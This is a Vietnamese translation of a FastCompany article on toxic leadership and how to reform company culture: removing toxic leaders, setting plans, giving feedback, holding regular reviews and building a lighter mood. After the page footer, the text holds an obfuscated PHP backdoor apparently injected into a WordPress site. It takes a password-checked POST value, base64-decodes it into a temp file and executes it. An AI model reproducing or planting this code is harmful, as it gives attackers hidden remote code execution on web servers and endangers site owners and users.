LÃNH ĐẠO “ĐỘC HẠI” ĐẦU ĐỘC VĂN HÓA CÔNG TY

NGUỒN BÀI VIẾT

  • Tên bài viết gốc: Toxic leaders are poisoning your company culture
  • Nguồn bài: FastCompany
  • Dịch thuật, biên tập: GrowMind

lanh dao doc hai

Môi trường công sở đôi khi sẽ giống như một trường học cấp hai — khi luôn có sự nhỏ nhen, soi mói, xầm xì hay đấu đá nội bộ. Tuy nhiên, sự độc hại về văn hóa này hiếm khi bắt đầu từ những nhân viên bình thường, mà đó là vấn đề từ lãnh đạo. Nếu doanh nghiệp có những lãnh đạo “độc hại”, có một số giải pháp để giải quyết tận gốc vấn đề và biến tổ chức của bạn trở thành một môi trường lành mạnh để nhân viên làm việc hiệu quả. 

———————————

Nhỏ nhen – soi mói – xầm xì: không có gì tệ hơn là “nội chiến”! Môi trường công sở thường xuyên xảy ra tình trạng này, và sự phát triển cảm xúc của chính những nhà lãnh đạo đã kìm hãm sự phát triển của văn hóa công ty. Trong nhiều trường hợp, sự “độc hại” của đội ngũ lãnh đạo lan ra cả tiền tuyến!

Giải pháp cho tình trạng này là các nhà lãnh đạo cần học cách chấp nhận các phản hồi trung thực đến tàn nhẫn, để tự quản lý sự độc hại của bản thân. Đã có những người sếp cố tình tẩy chay các thành viên trong đội ngũ và công khai sỉ nhục họ, thậm chí sa thải khi họ bày tỏ quan điểm hay phản đối. Đương nhiên, tất cả những điều này tạo ra sự lo lắng và căng thẳng trong tổ chức. Mọi người đều biết rằng một người lãnh đạo sẽ không được tôn trọng khi sử dụng chiến thuật gây chia rẽ chỉ để có được quyền lực và nhiều quyền kiểm soát hơn. 

Dưới đây là một số chiến thuật giúp xử lý sự “độc hại”, đẩy nhanh tốc độ phát triển văn hóa của hàng ngũ lãnh đạo thuộc các tổ chức trong danh sách Fortune 1000. 

TẤT CẢ TRÊN CÙNG CON THUYỀN – HOẶC CHO HỌ LÊN BỜ!

Nếu bạn biết trong tổ chức mình có những lãnh đạo độc hại, hãy sa thải họ. Đó là cách duy nhất. Trước đó, bạn cần đánh một hồi chuông báo hiệu cho đội ngũ lãnh đạo và những người còn lại trong công ty rằng “Hãy chú ý, công ty đang dần thay đổi”. Và bạn cần tìm ra những nhà lãnh đạo nào đang ở trên cùng một chiến tuyến với mình và đưa những người còn lại vào diện “xem xét”.

Hãy giải thích lý do tại sao bạn thực hiện các hành động, tại sao phải loại bỏ sự độc hại trong tổ chức và bạn muốn xây dựng điều gì trong tương lai. Hãy cho họ thấy các nhánh của sự độc hại sẽ bị xử lý như thế nào, và đừng quên truyền cảm hứng cho “đoàn viên” sẽ cùng thuyền với bạn, để họ hiểu rằng mình sẽ được lựa chọn và họ cam kết để điều đó thành hiện thực.

VẠCH RÕ KẾ HOẠCH CỤ THỂ

Việc tạo ra sự chuyển đổi văn hóa cần có thời gian và đòi hỏi một cam kết lâu dài. Đội ngũ lãnh đạo cần phải biết hoàn thành việc chuyển đổi văn hóa của mình như thế nào. Nếu bạn không biết cách, hãy nhờ một nhà tư vấn để nhận ra điểm mạnh và điểm yếu của mình, sau đó tìm cách che đi điểm yếu và tạo chiến lược để phát triển điểm mạnh. Cuối cùng, bạn nên vạch ra một kế hoạch thay đổi, gồm các mốc hành động quan trọng và phân công người phụ trách cho những đầu mục công việc. Đội ngũ lãnh đạo ở lại cần phải chịu trách nhiệm về sự thay đổi này và tham gia trong cả quá trình.

Hãy nhớ rằng, hãy bắt đầu với các mục tiêu đơn giản trước. Khi muốn tạo ra sự thay đổi văn hóa, ta nghĩ rằng những hành động nhỏ sẽ tạo ra tác động lớn, nhưng thực tế, chúng ta thường sa đà vào việc tạo ra những chiến lược tốn những khoản tiền khổng lồ để thực hiện. Nguyên tắc Pareto cho thấy 20% nỗ lực giúp có được 80% kết quả. Và khi thực sự bị thúc ép về thời gian và nguồn lực, hãy sử dụng nguyên tắc 80/20 trong kế hoạch để chỉ tập trung các hoạt động có mức độ khả thi cao nhất nhằm tạo ra sự chuyển đổi.

Cuối cùng, bạn cần xác định thời điểm kết thúc và đánh giá lại toàn bộ kế hoạch vào thời điểm đó.

TRÁCH NHIỆM GIAO TIẾP – GÓP Ý NỘI BỘ

Hãy xác định các cơ hội trên con đường thay đổi và xác định sớm những kẻ gièm pha hay cản đường. Một trong những phần quan trọng nhất là tạo ra môi trường để mọi người phản hồi, góp ý mang tính xây dựng cho nhau với tư cách cùng một nhóm lãnh đạo trong suốt quá trình. Hãy nhớ rằng không phải chỉ có bạn cần chịu trách nhiệm về tầm nhìn doanh nghiệp, mà cả những người lãnh đạo khác nữa. Và mọi người muốn bạn là tấm gương để noi theo. Vì vậy, hãy chuẩn bị sẵn cách thức giải quyết những vấn đề lớn trước khi bạn đang đối đầu với chúng trong quá trình thay đổi.

  • Để tạo ra sự chuyển đổi văn hóa, nhóm lãnh đạo sẽ làm 3 – 5 hành động gì trong 12 tháng tới?
  • Ai phụ trách hành động nào?
  • Đội ngũ của bạn hỗ trợ nhau như thế nào để đạt được kế hoạch?
  • Bạn sẽ làm gì để đo lường mức độ hiệu quả của hoạt động?
  • Đội ngũ của bạn sẽ đóng góp ý kiến cho nhau như thế nào?
  • Bạn sẽ theo dõi tiến trình ở đâu và như thế nào?

KIỂM TRA VÀ BÁO CÁO TIẾN ĐỘ THƯỜNG XUYÊN

Đội ngũ của bạn cần họp hai tuần một lần hoặc hơn để thảo luận về tiến độ của quy trình. Hãy đảm bảo rằng đây không phải là những cuộc họp thông thường. Thay vào đó, hãy trình bày về việc theo dõi tiến độ, cập nhật thông tin và yêu cầu các chỉ số cụ thể. Hãy khiến mỗi thành viên trong nhóm phải có trách nhiệm với mục tiêu của họ. Ngoài ra, hãy nhớ rằng vai trò của bạn là làm gương và tạo ra không gian để thực hành các chiến lược lãnh đạo mà bạn muốn truyền đạt cho đội ngũ của mình. Bạn có thể “giao bài tập” để nhóm lãnh đạo làm mẫu và thực hành các hành động mà bạn mong muốn họ học được. Hãy nhớ rằng, bạn là người mà mọi người đang theo dõi, nên hãy tự chịu trách nhiệm trước đội ngũ lãnh đạo nếu bạn có bất kỳ sai sót nào. Việc thừa nhận điểm sai sẽ thể hiện cam kết của bạn đối với sự phát triển và thể hiện sự nhân văn trước những người còn lại.

TẠO KHÔNG KHÍ VUI VẺ 

Tại sao chúng ta phải cứng nhắc trong công việc? Việc trở thành hai người khác nhau khi về nhà và đến công ty thật kỳ lạ. Có lẽ chúng ta cần học cách mang cá tính nhiều hơn vào công việc và hiểu rằng sự nhiệt tình hay tinh thần tràn đầy năng lượng rất dễ lây lan. Nếu bạn có thể tạo ra tinh thần như vậy cho đội ngũ lãnh đạo của mình, công việc thậm chí còn hiệu quả hơn. Hãy kể những câu chuyện vui về những sai lầm/ khó khăn của bạn, những bài học bạn rút ra và cách tiến về phía trước.

Cùng với đó, hãy ăn mừng những chiến thắng hoặc thành tích! Các công ty thường phải vật lộn với không khí trang trọng của những buổi tiệc ăn mừng. Tại sao không thể nhảy nhót khi ý tưởng của mình được ủng hộ trong cuộc họp lãnh đạo? Hay đổi kiểu tóc vào ngày nào đó trong tuần? Hoặc đơn giản là tạo lịch tập thể dục, vận động hàng ngày/ hàng tuần? Hãy sáng tạo và đưa ra ý tưởng của riêng bạn. Điều quan trọng là việc đó đó phù hợp cho đội ngũ của bạn và thực sự mang đến niềm vui.

Những điều tiêu cực, “độc hại” đến từ hàng ngũ lãnh đạo sẽ cản trở những giá trị lâu dài và việc chuyển đổi văn hóa. Hy vọng với những cách khắc phục kể trên, bạn có thể loại bỏ sự tiêu cực, tạo ra được môi trường làm việc lành mạnh, văn minh và phát triển cho đội ngũ của mình.


Cập nhật các thông tin mới nhất về GrowMind tại đây.

GrowMind – Đồng kiến tạo mạng lưới các công ty tiến bộ và hạnh phúc.


Đọc thêm: Những bài học lãnh đạo từ quân đội

1
Bạn cần hỗ trợ?
if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}